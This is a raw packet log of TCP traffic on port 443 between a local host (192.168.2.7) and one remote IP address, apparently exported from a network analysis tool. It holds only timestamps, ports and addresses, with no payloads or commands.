Nov 20, 2024 17:18:24.312196970 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.312275887 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.312290907 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.315342903 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.315439939 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.315454960 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.318316936 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.318403006 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.318418026 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.321883917 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.321958065 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.321971893 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.324476957 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.324551105 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.324569941 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.327280045 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.327368975 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.327382088 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.331010103 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.331089973 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.331104040 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.333719015 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.333794117 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.333800077 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.375133991 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.491465092 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.491477966 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.491555929 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.491584063 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.494452000 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.494527102 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.494535923 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.494548082 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.494590998 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.497668982 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.497679949 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.497769117 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.497777939 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.497831106 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.500480890 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.500565052 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.500574112 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.504008055 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.504115105 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.504122972 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.506764889 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.506843090 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.506850958 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.510051966 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.510126114 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.510133982 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.513170004 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.513247013 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.513256073 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.515980005 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.516083956 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.516093969 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.519220114 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.519292116 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.519299984 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.522537947 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.522636890 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.522644997 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.525662899 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.525759935 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.525768042 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.528543949 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.528672934 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.528687000 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.531297922 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.531400919 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.531409025 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.534923077 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.535003901 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.535011053 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.537434101 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.537514925 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.537523985 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.578252077 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.691339016 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.691366911 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.691437960 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.691463947 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.696785927 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.696856022 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.696868896 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.696892023 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.696923971 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.699522972 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.699615002 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.699630976 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.702505112 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.702588081 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.702604055 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.705790997 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.705887079 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.705897093 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.708595037 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.708669901 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.708678961 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.711237907 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.711335897 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.711345911 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.715126038 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.715212107 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.715220928 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.717894077 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.717972040 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.717982054 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.720959902 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.721033096 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.721041918 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.724689007 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.724786997 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.724798918 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.727560997 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.727626085 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.727637053 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.728794098 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.728864908 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.728873968 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.730652094 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.730720997 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.730730057 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.734164953 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.734266996 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.734275103 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.736885071 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.736984968 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.736994028 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.781377077 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.895112991 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.895148039 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.895220995 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.895292997 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.895335913 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.898159027 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.898222923 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.898230076 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.898257971 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.898283958 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.900984049 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.901078939 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.901093960 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.905033112 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.905138969 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.905153990 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.907399893 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.907473087 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.907495975 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.911011934 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.911082983 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.911098003 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.914033890 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.914114952 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.914132118 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.916928053 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.917021990 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.917037010 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.920193911 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.920269966 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.920285940 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.922857046 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.922972918 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.922991037 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.926187992 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.926285982 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.926299095 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.928951025 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.929027081 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.929042101 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.931783915 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.931874037 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.931890965 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.935379028 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.935470104 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.935486078 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.938148022 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.938225031 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.938239098 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.940864086 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.940957069 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:24.940964937 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:24.984530926 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.094369888 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.094393969 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.094470978 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.094513893 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.097420931 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.097467899 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.097498894 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.097531080 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.097568989 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.099827051 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.099899054 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.099915028 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.103462934 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.103550911 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.103565931 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.106717110 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.106790066 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.106806993 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.109097004 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.109179020 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.109193087 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.112564087 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.112637997 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.112652063 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.115406036 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.115483046 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.115497112 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.119178057 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.119257927 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.119272947 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.121766090 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.121850014 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.121864080 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.124941111 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.125021935 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.125036001 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.127846003 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.127933025 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.127947092 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.130458117 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.130538940 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.130557060 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.134191036 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.134262085 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.134270906 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.137779951 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.137850046 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.137857914 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.187634945 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.304627895 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.304651976 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.304753065 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.304783106 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.307041883 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.307061911 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.307113886 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.307149887 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.307182074 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.309902906 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.309942007 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.309982061 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.309998035 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.310026884 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.312681913 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.312758923 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.312774897 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.316155910 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.316240072 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.316272974 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.322578907 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.322664976 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.322679996 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.324893951 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.324980021 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.324994087 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.328305006 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.328373909 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.328389883 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.331495047 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.331581116 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.331603050 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.334018946 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.334093094 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.334106922 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.337271929 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.337347984 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.337362051 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.340670109 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.340734959 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.340743065 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.343245029 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.343336105 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.343343973 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.346626043 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.346698999 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.346708059 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.349776030 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.349848986 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.349857092 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.352852106 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.352910995 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.352917910 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.406399965 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.508889914 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.508914948 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.508996010 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.509037018 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.511548996 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.511569023 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.511612892 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.511631012 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.511661053 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.514401913 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.514444113 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.514478922 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.514503002 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.514528036 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.517237902 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.517316103 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.517330885 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.520621061 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.520697117 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.520713091 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.521106958 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.521176100 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.521189928 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.523905039 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.523983955 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.523998976 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.526585102 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.526675940 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.526690006 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.529608011 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.529685020 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.529700041 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.532968998 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.533046007 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.533058882 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.535458088 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.535538912 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.535552025 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.538955927 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.539030075 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.539057970 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.542049885 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.542128086 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.542139053 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.545394897 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.545459986 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.545468092 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.548085928 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.548156977 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.548165083 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.550864935 CET	443	49713	142.215.209.78	192.168.2.7
Nov 20, 2024 17:18:25.550930977 CET	49713	443	192.168.2.7	142.215.209.78
Nov 20, 2024 17:18:25.550940990 CET	443	49713	142.215.209.78	192.168.2.7
